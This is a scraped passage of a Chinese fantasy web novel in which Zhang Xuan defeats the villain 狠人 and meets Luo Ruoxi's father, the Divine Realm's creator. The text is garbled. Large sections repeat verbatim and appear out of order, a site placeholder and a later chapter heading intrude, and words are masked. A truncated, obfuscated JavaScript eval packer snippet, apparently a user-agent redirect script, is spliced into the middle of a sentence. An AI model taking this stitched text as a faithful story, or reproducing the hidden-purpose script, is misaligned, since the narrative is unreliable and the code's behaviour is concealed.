伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百二十章震惊她的喜好 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 